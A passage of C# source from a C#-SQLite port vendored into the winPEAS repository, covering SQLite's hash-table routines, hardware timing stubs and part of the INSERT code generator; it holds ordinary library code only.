byte to run on files that are much smaller ** than 1 GiB. The sqlite3_test_control() interface can be used to ** move the pending byte. ** ** IMPORTANT: Changing the pending byte to any value other than ** 0x40000000 results in an incompatible database file format! ** Changing the pending byte during operating results in undefined ** and dileterious behavior. */ static int sqlite3PendingByte = 0x40000000; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/hash_c.cs ================================================ using System.Diagnostics; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This is the implementation of generic hash-tables ** used in SQLite. ** ** $Id: hash.c,v 1.38 2009/05/09 23:29:12 drh Exp ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" //#include /* Turn bulk memory into a hash table object by initializing the ** fields of the Hash structure. ** ** "pNew" is a pointer to the hash table that is to be initialized. */ static void sqlite3HashInit( Hash pNew ) { Debug.Assert( pNew != null ); pNew.first = null; pNew.count = 0; pNew.htsize = 0; pNew.ht = null; } /* Remove all entries from a hash table. Reclaim all memory. ** Call this routine to delete a hash table or to reset a hash table ** to the empty state. */ static void sqlite3HashClear( Hash pH ) { HashElem elem; /* For looping over all elements of the table */ Debug.Assert( pH != null ); elem = pH.first; pH.first = null; //sqlite3_free( ref pH.ht ); pH.ht = null; pH.htsize = 0; while ( elem != null ) { HashElem next_elem = elem.next; ////sqlite3_free(ref elem ); elem = next_elem; } pH.count = 0; } /* ** The hashing function. */ static u32 strHash( string z, int nKey ) { int h = 0; Debug.Assert( nKey >= 0 ); int _z = 0; while ( nKey > 0 ) { h = ( h << 3 ) ^ h ^ ( ( _z < z.Length ) ? (int)sqlite3UpperToLower[(byte)z[_z++]] : 0 ); nKey--; } return (u32)h; } /* Link pNew element into the hash table pH. If pEntry!=0 then also ** insert pNew into the pEntry hash bucket. */ static void insertElement( Hash pH, /* The complete hash table */ _ht pEntry, /* The entry into which pNew is inserted */ HashElem pNew /* The element to be inserted */ ) { HashElem pHead; /* First element already in pEntry */ if ( pEntry != null ) { pHead = pEntry.count != 0 ? pEntry.chain : null; pEntry.count++; pEntry.chain = pNew; } else { pHead = null; } if ( pHead != null ) { pNew.next = pHead; pNew.prev = pHead.prev; if ( pHead.prev != null ) { pHead.prev.next = pNew; } else { pH.first = pNew; } pHead.prev = pNew; } else { pNew.next = pH.first; if ( pH.first != null ) { pH.first.prev = pNew; } pNew.prev = null; pH.first = pNew; } } /* Resize the hash table so that it cantains "new_size" buckets. ** ** The hash table might fail to resize if sqlite3_malloc() fails or ** if the new size is the same as the prior size. ** Return TRUE if the resize occurs and false if not. */ static bool rehash( ref Hash pH, u32 new_size ) { _ht[] new_ht; /* The new hash table */ HashElem elem; HashElem next_elem; /* For looping over existing elements */ #if SQLITE_MALLOC_SOFT_LIMIT if( new_size*sizeof(struct _ht)>SQLITE_MALLOC_SOFT_LIMIT ){ new_size = SQLITE_MALLOC_SOFT_LIMIT/sizeof(struct _ht); } if( new_size==pH->htsize ) return false; #endif /* There is a call to sqlite3Malloc() inside rehash(). If there is ** already an allocation at pH.ht, then if this malloc() fails it ** is benign (since failing to resize a hash table is a performance ** hit only, not a fatal error). */ sqlite3BeginBenignMalloc(); new_ht = new _ht[new_size]; //(struct _ht *)sqlite3Malloc( new_size*sizeof(struct _ht) ); for ( int i = 0 ; i < new_size ; i++ ) new_ht[i] = new _ht(); sqlite3EndBenignMalloc(); if ( new_ht == null ) return false; //sqlite3_free( ref pH.ht ); pH.ht = new_ht; // pH.htsize = new_size = sqlite3MallocSize(new_ht)/sizeof(struct _ht); //memset(new_ht, 0, new_size*sizeof(struct _ht)); pH.htsize = new_size; for ( elem = pH.first, pH.first = null ; elem != null ; elem = next_elem ) { u32 h = strHash( elem.pKey, elem.nKey ) % new_size; next_elem = elem.next; insertElement( pH, new_ht[h], elem ); } return true; } /* This function (for internal use only) locates an element in an ** hash table that matches the given key. The hash for this key has ** already been computed and is passed as the 4th parameter. */ static HashElem findElementGivenHash( Hash pH, /* The pH to be searched */ string pKey, /* The key we are searching for */ int nKey, /* Bytes in key (not counting zero terminator) */ u32 h /* The hash for this key. */ ) { HashElem elem; /* Used to loop thru the element list */ int count; /* Number of elements left to test */ if ( pH.ht != null && pH.ht[h] != null ) { _ht pEntry = pH.ht[h]; elem = pEntry.chain; count = (int)pEntry.count; } else { elem = pH.first; count = (int)pH.count; } while ( count-- > 0 && ALWAYS( elem ) ) { if ( elem.nKey == nKey && sqlite3StrNICmp( elem.pKey, pKey, nKey ) == 0 ) { return elem; } elem = elem.next; } return null; } /* Remove a single entry from the hash table given a pointer to that ** element and a hash on the element's key. */ static void removeElementGivenHash( Hash pH, /* The pH containing "elem" */ ref HashElem elem, /* The element to be removed from the pH */ u32 h /* Hash value for the element */ ) { _ht pEntry; if ( elem.prev != null ) { elem.prev.next = elem.next; } else { pH.first = elem.next; } if ( elem.next != null ) { elem.next.prev = elem.prev; } if ( pH.ht != null && pH.ht[h] != null ) { pEntry = pH.ht[h]; if ( pEntry.chain == elem ) { pEntry.chain = elem.next; } pEntry.count--; Debug.Assert( pEntry.count >= 0 ); } //sqlite3_free( ref elem ); pH.count--; if ( pH.count <= 0 ) { Debug.Assert( pH.first == null ); Debug.Assert( pH.count == 0 ); sqlite3HashClear( pH ); } } /* Attempt to locate an element of the hash table pH with a key ** that matches pKey,nKey. Return the data for this element if it is ** found, or NULL if there is no match. */ static object sqlite3HashFind( Hash pH, string pKey, int nKey ) { HashElem elem; /* The element that matches key */ u32 h; /* A hash on key */ Debug.Assert( pH != null ); Debug.Assert( pKey != null ); Debug.Assert( nKey >= 0 ); if ( pH.ht != null ) { h = strHash( pKey, nKey ) % pH.htsize; } else { h = 0; } elem = findElementGivenHash( pH, pKey, nKey, h ); return elem != null ? elem.data : null; } /* Insert an element into the hash table pH. The key is pKey,nKey ** and the data is "data". ** ** If no element exists with a matching key, then a new ** element is created and NULL is returned. ** ** If another element already exists with the same key, then the ** new data replaces the old data and the old data is returned. ** The key is not copied in this instance. If a malloc fails, then ** the new data is returned and the hash table is unchanged. ** ** If the "data" parameter to this function is NULL, then the ** element corresponding to "key" is removed from the hash table. */ static object sqlite3HashInsert( ref Hash pH, string pKey, int nKey, object data ) { u32 h; /* the hash of the key modulo hash table size */ HashElem elem; /* Used to loop thru the element list */ HashElem new_elem; /* New element added to the pH */ Debug.Assert( pH != null ); Debug.Assert( pKey != null ); Debug.Assert( nKey >= 0 ); if ( pH.htsize != 0 ) { h = strHash( pKey, nKey ) % pH.htsize; } else { h = 0; } elem = findElementGivenHash( pH, pKey, nKey, h ); if ( elem != null ) { object old_data = elem.data; if ( data == null ) { removeElementGivenHash( pH, ref elem, h ); } else { elem.data = data; elem.pKey = pKey; Debug.Assert( nKey == elem.nKey ); } return old_data; } if ( data == null ) return null; new_elem = new HashElem();//(HashElem*)sqlite3Malloc( sizeof(HashElem) ); if ( new_elem == null ) return data; new_elem.pKey = pKey; new_elem.nKey = nKey; new_elem.data = data; pH.count++; if ( pH.count >= 10 && pH.count > 2 * pH.htsize ) { if ( rehash( ref pH, pH.count * 2 ) ) { Debug.Assert( pH.htsize > 0 ); h = strHash( pKey, nKey ) % pH.htsize; } } if ( pH.ht != null ) { insertElement( pH, pH.ht[h], new_elem ); } else { insertElement( pH, null, new_elem ); } return null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/hwtime_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { using sqlite_u3264 = System.UInt64; public partial class CSSQLite { /* ** 2008 May 27 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ****************************************************************************** ** ** This file contains inline asm code for retrieving "high-performance" ** counters for x86 class CPUs. ** ** $Id: hwtime.h,v 1.3 2008/08/01 14:33:15 shane Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_HWTIME_H_ //#define _HWTIME_H_ /* ** The following routine only works on pentium-class (or newer) processors. ** It uses the RDTSC opcode to read the cycle count value out of the ** processor and returns that value. This can be used for high-res ** profiling. */ #if ((__GNUC__) || (_MSC_VER)) && ((i386) || (__i386__) || (_M_IX86)) #if (__GNUC__) __inline__ sqlite_u3264 sqlite3Hwtime(void){ unsigned int lo, hi; __asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi)); return (sqlite_u3264)hi << 32 | lo; } #elif (_MSC_VER) __declspec(naked) __inline sqlite_u3264 __cdecl sqlite3Hwtime(void){ __asm { rdtsc ret ; return value at EDX:EAX } } #endif #elif ((__GNUC__) && (__x86_64__)) __inline__ sqlite_u3264 sqlite3Hwtime(void){ unsigned long val; __asm__ __volatile__ ("rdtsc" : "=A" (val)); return val; } #elif ( (__GNUC__) && (__ppc__)) __inline__ sqlite_u3264 sqlite3Hwtime(void){ unsigned long long retval; unsigned long junk; __asm__ __volatile__ ("\n\ 1: mftbu %1\n\ mftb %L0\n\ mftbu %0\n\ cmpw %0,%1\n\ bne 1b" : "=r" (retval), "=r" (junk)); return retval; } #else //#error Need implementation of sqlite3Hwtime() for your platform. /* ** To compile without implementing sqlite3Hwtime() for your platform, ** you can remove the above #error and use the following ** stub function. You will lose timing support for many ** of the debugging and testing utilities, but it should at ** least compile and run. */ static sqlite_u3264 sqlite3Hwtime() { return (sqlite_u3264)System.DateTime.Now.Ticks; }// (sqlite_u3264)0 ); } #endif //#endif /* !_HWTIME_H_) */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/insert_c.cs ================================================ using System.Diagnostics; using System.Text; using u8 = System.Byte; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains C code routines that are called by the parser ** to handle INSERT statements in SQLite. ** ** $Id: insert.c,v 1.270 2009/07/24 17:58:53 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Generate code that will open a table for reading. */ static void sqlite3OpenTable( Parse p, /* Generate code into this VDBE */ int iCur, /* The cursor number of the table */ int iDb, /* The database index in sqlite3.aDb[] */ Table pTab, /* The table to be opened */ int opcode /* OP_OpenRead or OP_OpenWrite */ ) { Vdbe v; if ( IsVirtual( pTab ) ) return; v = sqlite3GetVdbe( p ); Debug.Assert( opcode == OP_OpenWrite || opcode == OP_OpenRead ); sqlite3TableLock( p, iDb, pTab.tnum, ( opcode == OP_OpenWrite ) ? (byte)1 : (byte)0, pTab.zName ); sqlite3VdbeAddOp3( v, opcode, iCur, pTab.tnum, iDb ); sqlite3VdbeChangeP4( v, -1, ( pTab.nCol ), P4_INT32 );//SQLITE_INT_TO_PTR( pTab.nCol ), P4_INT32 ); VdbeComment( v, "%s", pTab.zName ); } /* ** Set P4 of the most recently inserted opcode to a column affinity ** string for index pIdx. A column affinity string has one character ** for each column in the table, according to the affinity of the column: ** ** Character Column affinity ** ------------------------------ ** 'a' TEXT ** 'b' NONE ** 'c' NUMERIC ** 'd' INTEGER ** 'e' REAL ** ** An extra 'b' is appended to the end of the string to cover the ** rowid that appears as the last column in every index. */ static void sqlite3IndexAffinityStr( Vdbe v, Index pIdx ) { if ( pIdx.zColAff == null || pIdx.zColAff[0] == '\0' ) { /* The first time a column affinity string for a particular index is ** required, it is allocated and populated here. It is then stored as ** a member of the Index structure for subsequent use. ** ** The column affinity string will eventually be deleted by ** sqliteDeleteIndex() when the Index structure itself is cleaned ** up. */ int n; Table pTab = pIdx.pTable; sqlite3 db = sqlite3VdbeDb( v ); StringBuilder pIdx_zColAff = new StringBuilder( pIdx.nColumn + 2 );// (char *)sqlite3Malloc(pIdx->nColumn+2); if ( pIdx_zColAff == null ) { //// db.mallocFailed = 1; return; } for ( n = 0 ; n < pIdx.nColumn ; n++ ) { pIdx_zColAff.Append( pTab.aCol[pIdx.aiColumn[n]].affinity ); } pIdx_zColAff.Append( SQLITE_AFF_NONE ); pIdx_zColAff.Append( '\0' ); pIdx.zColAff = pIdx_zColAff.ToString(); } sqlite3VdbeChangeP4( v, -1, pIdx.zColAff, 0 ); } /* ** Set P4 of the most recently inserted opcode to a column affinity ** string for table pTab. A column affinity string has one character ** for each column indexed by the index, according to the affinity of the ** column: ** ** Character Column affinity ** ------------------------------ ** 'a' TEXT ** 'b' NONE ** 'c' NUMERIC ** 'd' INTEGER ** 'e' REAL */ static void sqlite3TableAffinityStr( Vdbe v, Table pTab ) { /* The first time a column affinity string for a particular table ** is required, it is allocated and populated here. It is then ** stored as a member of the Table structure for subsequent use. ** ** The column affinity string will eventually be deleted by ** sqlite3DeleteTable() when the Table structure itself is cleaned up. */ if ( pTab.zColAff == null ) { StringBuilder zColAff; int i; sqlite3 db = sqlite3VdbeDb( v ); zColAff = new StringBuilder( pTab.nCol + 1 );// (char*)sqlite3Malloc(db, pTab.nCol + 1); if ( zColAff == null ) { //// db.mallocFailed = 1; return; } for ( i = 0 ; i < pTab.nCol ; i++ ) { zColAff.Append( pTab.aCol[i].affinity ); } //zColAff.Append( '\0' ); pTab.zColAff = zColAff.ToString(); } sqlite3VdbeChangeP4( v, -1, pTab.zColAff, 0 ); } /* ** Return non-zero if the table pTab in database iDb or any of its indices ** have been opened at any point in the VDBE program beginning at location ** iStartAddr throught the end of the program. This is used to see if ** a statement of the form "INSERT INTO SELECT ..." can ** run without using temporary table for the results of the SELECT. */ static bool readsTable(Parse p, int iStartAddr, int iDb, Table pTab ) { Vdbe v = sqlite3GetVdbe( p ); int i; int iEnd = sqlite3VdbeCurrentAddr( v ); #if !SQLITE_OMIT_VIRTUALTABLE VTable pVTab = IsVirtual(pTab) ? sqlite3GetVTable(p,db, pTab) : null; #endif for ( i = iStartAddr ; i < iEnd ; i++ ) { VdbeOp pOp = sqlite3VdbeGetOp( v, i ); Debug.Assert( pOp != null ); if ( pOp.opcode == OP_OpenRead && pOp.p3 == iDb ) { Index pIndex; int tnum = pOp.p2; if ( tnum == pTab.tnum ) { return true; } for ( pIndex = pTab.pIndex ; pIndex != null ; pIndex = pIndex.pNext ) { if ( tnum == pIndex.tnum ) { return true; } } } #if !SQLITE_OMIT_VIRTUALTABLE if( pOp.opcode==OP_VOpen && pOp.p4.pVtab==pVTab){ Debug.Assert( pOp.p4.pVtab!=0 ); Debug.Assert( pOp.p4type==P4_VTAB ); return true; } #endif } return false; } #if !SQLITE_OMIT_AUTOINCREMENT /* ** Locate or create an AutoincInfo structure associated with table pTab ** which is in database iDb. Return the register number for the register ** that holds the maximum rowid. ** ** There is at most one AutoincInfo structure per table even if the ** same table is autoincremented multiple times due to inserts within ** triggers. A new AutoincInfo structure is created if this is the ** first use of table pTab. On 2nd and subsequent uses, the original ** AutoincInfo structure is used. ** ** Three memory locations are allocated: ** ** (1) Register to hold the name of the pTab table. ** (2) Register to hold the maximum ROWID of pTab. ** (3) Register to hold the rowid in sqlite_sequence of pTab ** ** The 2nd register is the one that is returned. That is all the ** insert routine needs to know about. */ static int autoIncBegin( Parse pParse, /* Parsing context */ int iDb, /* Index of the database holding pTab */ Table pTab /* The table we are writing to */ ) { int memId = 0; /* Register holding maximum rowid */ if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 ) { AutoincInfo pInfo; pInfo = pParse.pAinc; while ( pInfo != null && pInfo.pTab != pTab ) { pInfo = pInfo.pNext; } if ( pInfo == null ) { pInfo = new AutoincInfo();//sqlite3DbMallocRaw(pParse.db, sizeof(*pInfo)); if ( pInfo == null ) return 0; pInfo.pNext = pParse.pAinc; pParse.pAinc = pInfo; pInfo.pTab = pTab; pInfo.iDb = iDb; pParse.nMem++; /* Register to hold name of table */ pInfo.regCtr = ++pParse.nMem; /* Max rowid register */ pParse.nMem++; /* Rowid in sqlite_sequence */ } memId = pInfo.regCtr; } return memId; } /* ** This routine generates code that will initialize all of the ** register used by the autoincrement tracker. */ static void sqlite3AutoincrementBegin( Parse pParse ) { AutoincInfo p; /* Information about an AUTOINCREMENT */ sqlite3 db = pParse.db; /* The database connection */ Db pDb; /* Database only autoinc table */ int memId; /* Register holding max rowid */ int addr; /* A VDBE address */ Vdbe v = pParse.pVdbe; /* VDBE under construction */ Debug.Assert( v != null ); /* We failed long ago if this is not so */ for ( p = pParse.pAinc ; p != null ; p = p.pNext ) { pDb = db.aDb[p.iDb]; memId = p.regCtr; sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenRead ); addr = sqlite3VdbeCurrentAddr( v ); sqlite3VdbeAddOp4( v, OP_String8, 0, memId - 1, 0, p.pTab.zName, 0 ); sqlite3VdbeAddOp2( v, OP_Rewind, 0, addr + 9 ); sqlite3VdbeAddOp3( v, OP_Column, 0, 0, memId ); sqlite3VdbeAddOp3( v, OP_Ne, memId - 1, addr + 7, memId ); sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL ); sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 ); sqlite3VdbeAddOp3( v, OP_Column, 0, 1, memId ); sqlite3VdbeAddOp2( v, OP_Goto, 0, addr + 9 ); sqlite3VdbeAddOp2( v, OP_Next, 0, addr + 2 ); sqlite3VdbeAddOp2( v, OP_Integer, 0, memId ); sqlite3VdbeAddOp0( v, OP_Close ); } } /* ** Update the maximum rowid for an autoincrement calculation. ** ** This routine should be called when the top of the stack holds a ** new rowid that is about to be inserted. If that new rowid is ** larger than the maximum rowid in the memId memory cell, then the ** memory cell is updated. The stack is unchanged. */ static void autoIncStep( Parse pParse, int memId, int regRowid ) { if ( memId > 0 ) { sqlite3VdbeAddOp2( pParse.pVdbe, OP_MemMax, memId, regRowid ); } } /* ** This routine generates the code needed to write autoincrement ** maximum rowid values back into the sqlite_sequence register. ** Every statement that might do an INSERT into an autoincrement ** table (either directly or through triggers) needs to call this ** routine just before the "exit" code. */ static void sqlite3AutoincrementEnd( Parse pParse ) { AutoincInfo p; Vdbe v = pParse.pVdbe; sqlite3 db = pParse.db; Debug.Assert( v != null ); for ( p = pParse.pAinc ; p != null ; p = p.pNext ) { Db pDb = db.aDb[p.iDb]; int j1, j2, j3, j4, j5; int iRec; int memId = p.regCtr; iRec = sqlite3GetTempReg( pParse ); sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenWrite ); j1 = sqlite3VdbeAddOp1( v, OP_NotNull, memId + 1 ); j2 = sqlite3VdbeAddOp0( v, OP_Rewind ); j3 = sqlite3VdbeAddOp3( v, OP_Column, 0, 0, iRec ); j4 = sqlite3VdbeAddOp3( v, OP_Eq, memId - 1, 0, iRec ); sqlite3VdbeAddOp2( v, OP_Next, 0, j3 ); sqlite3VdbeJumpHere( v, j2 ); sqlite3VdbeAddOp2( v, OP_NewRowid, 0, memId + 1 ); j5 = sqlite3VdbeAddOp0( v, OP_Goto ); sqlite3VdbeJumpHere( v, j4 ); sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 ); sqlite3VdbeJumpHere( v, j1 ); sqlite3VdbeJumpHere( v, j5 ); sqlite3VdbeAddOp3( v, OP_MakeRecord, memId - 1, 2, iRec ); sqlite3VdbeAddOp3( v, OP_Insert, 0, iRec, memId + 1 ); sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); sqlite3VdbeAddOp0( v, OP_Close ); sqlite3ReleaseTempReg( pParse, iRec ); } } #else /* ** If SQLITE_OMIT_AUTOINCREMENT is defined, then the three routines ** above are all no-ops */ //# define autoIncBegin(A,B,C) (0) //# define autoIncStep(A,B,C) #endif // * SQLITE_OMIT_AUTOINCREMENT */ /* Forward declaration */ //static int xferOptimization( // Parse pParse, /* Parser context */ // Table pDest, /* The table we are inserting into */ // Select pSelect, /* A SELECT statement to use as the data source */ // int onError, /* How to handle constraint errors */ // int iDbDest /* The database of pDest */ //); /* ** This routine is call to handle SQL of the following forms: ** ** insert into TABLE (IDLIST) values(EXPRLIST) ** insert into TABLE (IDLIST) select ** ** The IDLIST following the table name is always optional. If omitted, ** then a list of all columns for the table is substituted. The IDLIST ** appears in the pColumn parameter. pColumn is NULL if IDLIST is omitted. ** ** The pList parameter holds EXPRLIST in the first form of the INSERT ** statement above, and pSelect is NULL. For the second form, pList is ** NULL and pSelect is a pointer to the select statement used to generate ** data for the insert. ** ** The code generated follows one of four templates. For a simple ** select with data coming from a VALUES clause, the code executes ** once straight down through. Pseudo-code follows (we call this ** the "1st template"): ** ** open write cursor to
    and its indices ** puts VALUES clause expressions onto the stack ** write the resulting record into
    ** cleanup ** ** The three remaining templates assume the statement is of the form ** ** INSERT INTO
    SELECT ... ** ** If the SELECT clause is of the restricted form "SELECT * FROM " - ** in other words if the SELECT pulls all columns from a single table ** and there is no WHERE or LIMIT or GROUP BY or ORDER BY clauses, and ** if and are distinct tables but have identical ** schemas, including all the same indices, then a special optimization ** is invoked that copies raw records from over to . ** See the xferOptimization() function for the implementation of this ** template. This is the 2nd template. ** ** open a write cursor to
    ** open read cursor on ** transfer all records in over to
    ** close cursors ** foreach index on
    ** open a write cursor on the
    index ** open a read cursor on the corresponding index ** transfer all records from the read to the write cursors ** close cursors ** end foreach ** ** The 3rd template is for when the second template does not apply ** and the SELECT clause does not read from
    at any time. ** The generated code follows this template: ** ** EOF <- 0 ** X <- A ** goto B ** A: setup for the SELECT ** loop over the rows in the SELECT ** load values into registers R..R+n ** yield X ** end loop ** cleanup after the SELECT ** EOF <- 1 ** yield X ** goto A ** B: open write cursor to
    and its indices ** C: yield X ** if EOF goto D ** insert the select result into
    from R..R+n ** goto C ** D: cleanup ** ** The 4th template is used if the insert statement takes its ** values from a SELECT but the data is being inserted into a table ** that is also read as part of the SELECT. In the third form, ** we have to use a intermediate table to store the results of ** the select. The template is like this: ** ** EOF <- 0 ** X <- A ** goto B ** A: setup for the SELECT ** loop over the tables in the SELECT ** load value into register R..R+n ** yield X ** end loop ** cleanup after the SELECT ** EOF <- 1 ** yield X ** halt-error ** B: open temp table ** L: yield X ** if EOF goto M ** insert row from R..R+n into temp table ** goto L ** M: open write cursor to
    and its indices ** rewind temp table ** C: loop over rows of intermediate table ** transfer values form intermediate table into
    ** end loop ** D: cleanup */ // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, int null_4, IdList pColumn, int onError ) { sqlite3Insert( pParse, pTabList, null, null, pColumn, onError ); } static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, Select pSelect, IdList pColumn, int onError ) { sqlite3Insert( pParse, pTabList, null, pSelect, pColumn, onError ); } static void sqlite3Insert( Parse pParse, SrcList pTabList, ExprList pList, int null_4, IdList pColumn, int onError ) { sqlite3Insert( pParse, pTabList, pList, null, pColumn, onError ); } static void sqlite3Insert( Parse pParse, /* Parser context */ SrcList pTabList, /* Name of table into which we are inserting */ ExprList pList, /* List of values to be inserted */ Select pSelect, /* A SELECT statement to use as the data source */ IdList pColumn, /* Column names corresponding to IDLIST. */ int onError /* How to handle constraint errors */ ) { sqlite3 db; /* The main database structure */ Table pTab; /* The table to insert into. aka TABLE */ string zTab; /* Name of the table into which we are inserting */ string zDb; /* Name of the database holding this table */ int i = 0; int j = 0; int idx = 0; /* Loop counters */ Vdbe v; /* Generate code into this virtual machine */ Index pIdx; /* For looping over indices of the table */ int nColumn; /* Number of columns in the data */ int nHidden = 0; /* Number of hidden columns if TABLE is virtual */ int baseCur = 0; /* VDBE VdbeCursor number for pTab */ int keyColumn = -1; /* Column that is the INTEGER PRIMARY KEY */ int endOfLoop = 0; /* Label for the end of the insertion loop */ bool useTempTable = false; /* Store SELECT results in intermediate table */ int srcTab = 0; /* Data comes from this temporary cursor if >=0 */ int addrInsTop = 0; /* Jump to label "D" */ int addrCont = 0; /* Top of insert loop. Label "C" in templates 3 and 4 */ int addrSelect = 0; /* Address of coroutine that implements the SELECT */ SelectDest dest; /* Destination for SELECT on rhs of INSERT */ int newIdx = -1; /* VdbeCursor for the NEW pseudo-table */ int iDb; /* Index of database holding TABLE */ Db pDb; /* The database containing table being inserted into */ bool appendFlag = false; /* True if the insert is likely to be an append */ /* Register allocations */ int regFromSelect = 0; /* Base register for data coming from SELECT */ int regAutoinc = 0; /* Register holding the AUTOINCREMENT counter */ int regRowCount = 0; /* Memory cell used for the row counter */ int regIns; /* Block of regs holding rowid+data being inserted */ int regRowid; /* registers holding insert rowid */ int regData; /* register holding first column to insert */ int regRecord; /* Holds the assemblied row record */ int regEof = 0; /* Register recording end of SELECT data */ int[] aRegIdx = null; /* One register allocated to each index */ #if !SQLITE_OMIT_TRIGGER bool isView = false; /* True if attempting to insert into a view */ Trigger pTrigger; /* List of triggers on pTab, if required */ int tmask = 0; /* Mask of trigger times */ #endif db = pParse.db; dest = new SelectDest();// memset( &dest, 0, sizeof( dest ) ); if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) { goto insert_cleanup; } /* Locate the table into which we will be inserting new information. */ Debug.Assert( pTabList.nSrc == 1 ); zTab = pTabList.a[0].zName; if ( NEVER( zTab == null ) ) goto insert_cleanup; pTab = sqlite3SrcListLookup( pParse, pTabList ); if ( pTab == null ) { goto insert_cleanup; } iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); Debug.Assert( iDb < db.nDb ); pDb = db.aDb[iDb]; zDb = pDb.zName; #if !SQLITE_OMIT_AUTHORIZATION if( sqlite3AuthCheck(pParse, SQLITE_INSERT, pTab.zName, 0, zDb) ){ goto insert_cleanup; } #endif /* Figure out if we have any triggers and if the table being ** inserted into is a view */ #if !SQLITE_OMIT_TRIGGER pTrigger = sqlite3TriggersExist( pParse, pTab, TK_INSERT, null, ref tmask ); isView = pTab.pSelect != null; #else //# define pTrigger 0 //# define tmask 0 bool isView = false; #endif #if SQLITE_OMIT_VIEW //# undef isView isView = false; #endif Debug.Assert( ( pTrigger != null && tmask != 0 ) || ( pTrigger == null && tmask == 0 ) ); #if !SQLITE_OMIT_VIEW /* If pTab is really a view, make sure it has been initialized. ** ViewGetColumnNames() is a no-op if pTab is not a view (or virtual ** module table). */ if ( sqlite3ViewGetColumnNames( pParse, pTab ) != -0 ) { goto insert_cleanup; } #endif /* Ensure that: * (a) the table is not read-only, * (b) that if it is a view then ON INSERT triggers exist */ if ( sqlite3IsReadOnly( pParse, pTab, tmask ) ) { goto insert_cleanup; } /* Allocate a VDBE */ v = sqlite3GetVdbe( pParse ); if ( v == null ) goto insert_cleanup; if ( pParse.nested == 0 ) sqlite3VdbeCountChanges( v ); sqlite3BeginWriteOperation( pParse, ( pSelect != null || pTrigger != null ) ? 1 : 0, iDb ); /* if there are row triggers, allocate a temp table for new.* references. */ if ( pTrigger != null ) { newIdx = pParse.nTab++; } #if !SQLITE_OMIT_XFER_OPT /* If the statement is of the form ** ** INSERT INTO SELECT * FROM ; ** ** Then special optimizations can be applied that make the transfer ** very fast and which reduce fragmentation of indices. ** ** This is the 2nd template. */ if ( pColumn == null && xferOptimization( pParse, pTab, pSelect, onError, iDb ) != 0 ) { Debug.Assert( null == pTrigger ); Debug.Assert( pList == null ); goto insert_end; } #endif // * SQLITE_OMIT_XFER_OPT */ /* If this is an AUTOINCREMENT table, look up the sequence number in the ** sqlite_sequence table and store it in memory cell regAutoinc. */ regAutoinc = autoIncBegin( pParse, iDb, pTab ); /* Figure out how many columns of data are supplied. If the data ** is coming from a SELECT statement, then generate a co-routine that ** produces a single row of the SELECT on each invocation. The ** co-routine is the common header to the 3rd and 4th templates. */ if ( pSelect != null ) { /* Data is coming from a SELECT. Generate code to implement that SELECT ** as a co-routine. The code is common to both the 3rd and 4th ** templates: ** ** EOF <- 0 ** X <- A ** goto B ** A: setup for the SELECT ** loop over the tables in the SELECT ** load value into register R..R+n ** yield X ** end loop ** cleanup after the SELECT ** EOF <- 1 ** yield X ** halt-error ** ** On each invocation of the co-routine, it puts a single row of the ** SELECT result into registers dest.iMem...dest.iMem+dest.nMem-1. ** (These output registers are allocated by sqlite3Select().) When ** the SELECT completes, it sets the EOF flag stored in regEof. */ int rc = 0, j1; regEof = ++pParse.nMem; sqlite3VdbeAddOp2( v, OP_Integer, 0, regEof ); /* EOF <- 0 */ #if SQLITE_DEBUG VdbeComment( v, "SELECT eof flag" ); #endif sqlite3SelectDestInit( dest, SRT_Coroutine, ++pParse.nMem ); addrSelect = sqlite3VdbeCurrentAddr( v ) + 2; sqlite3VdbeAddOp2( v, OP_Integer, addrSelect - 1, dest.iParm ); j1 = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ); #if SQLITE_DEBUG VdbeComment( v, "Jump over SELECT coroutine" ); #endif /* Resolve the expressions in the SELECT statement and execute it. */ rc = sqlite3Select( pParse, pSelect, ref dest ); Debug.Assert( pParse.nErr == 0 || rc != 0 ); if ( rc != 0 || NEVER( pParse.nErr != 0 ) /*|| db.mallocFailed != 0 */ ) { goto insert_cleanup; } sqlite3VdbeAddOp2( v, OP_Integer, 1, regEof ); /* EOF <- 1 */ sqlite3VdbeAddOp1( v, OP_Yield, 